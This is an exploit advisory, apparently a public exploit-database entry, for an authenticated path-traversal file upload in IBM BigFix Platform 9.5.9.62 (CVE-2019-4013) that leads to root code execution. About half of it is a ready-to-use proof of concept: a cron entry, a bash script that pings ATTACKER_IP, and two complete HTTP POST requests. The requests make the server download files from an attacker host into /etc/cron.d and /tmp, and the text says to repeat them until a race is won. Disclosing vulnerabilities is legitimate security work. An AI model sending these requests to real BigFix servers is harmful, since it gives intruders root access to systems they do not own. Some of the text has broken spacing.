# ExploitTitle:IBMBigfixPlatform9.5.9.62-ArbitraryFileUpload
# Date:2018-12-11
# ExploitAuthors:JakubPalaczynski
# VendorHomepage: https://www.ibm.com/
# Version:IBMBigfixPlatform<=9.5.9.62
# CVE:CVE-2019-4013Description:============Any authenticated (even unprivileged) user can upload any file toany location on the server withrootprivileges. This results in code execution on underlying system withrootprivileges.
What caused this issue:* path traversal - it is possible toescape from original directory and upload file toany other location
* server running withroot privileges - user can upload file toANY location on the system
* upload any type of file - application does not verify extension and MIME type of uploaded files
* authorization bypass (reported as separate issue)- any user can reveal privileged functionality and access it without proper rights set
* possibility towin the race - application uploads file tolocation specified in "urlFileName" parameter (path traversal), however it then moves it toanother.An attacker needs towin race and execute script before it is moved.
Issue was found in "Apps > Software > Add Software"menu. Here user needs tochoose upload via URL option as only this one is vulnerable.URL needs topointtoattacker's web server where he hosts for example script files.
When form is submitted we can see on proxy "urlFileName"parameter. This one is vulnerable topathtraversal. This parameter specifies temporary file name that will be used on the system. Then application moves this file toanother location that is not controlled by application user.
An attacker can for example upload script file on the web server and execute it by sending GETrequest. However as a PoC we will use cron. Here we upload 2 files - cron file and script file that will be executed by cron.
Uploading cron task and script file is the same as below but of course withdifferent content downloaded from the web server. Those two HTTP requests should be sent in loop tofinally win a race and execute our script.
Proof of Concept:=================
cron.txt served on attacker's web server:***** root bash /tmp/icmp.sh
icmp.txt served on attacker's web server:
#!/bin/bash
ping -c 3ATTACKER_IPUploading cron task:POST/swd/api/packages/upload HTTP/1.1Host:XXXUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/60.0.3112.113Safari/537.36Content-Length:846Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809X-XSRF-TOKEN:XXXCookie: _csrf=XXX;XSRF-TOKEN=XXX; user_session=XXXConnection: close
-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="fileURL"
http://ATTACKER_IP/cron.txt
-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="username"-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="password"-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="urlFileName"../../../../../../../../etc/cron.d/task
-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="urlDownloadAtRuntime"false-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="uploadId"
user_1543410578364620
-----------------------------7289782871626994727576601809--Uploading script file:POST/swd/api/packages/upload HTTP/1.1Host:XXXUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/60.0.3112.113Safari/537.36Content-Length:846Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809X-XSRF-TOKEN:XXXCookie: _csrf=XXX;XSRF-TOKEN=XXX; user_session=XXXConnection: close
-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="fileURL"
http://ATTACKER_IP/icmp.txt
-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="username"-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="password"-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="urlFileName"../../../../../../../../tmp/icmp.sh
-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="urlDownloadAtRuntime"false-----------------------------7289782871626994727576601809Content-Disposition: form-data; name="uploadId"
user_1543410578364620
-----------------------------7289782871626994727576601809--After a while our script should be executed withroot privileges.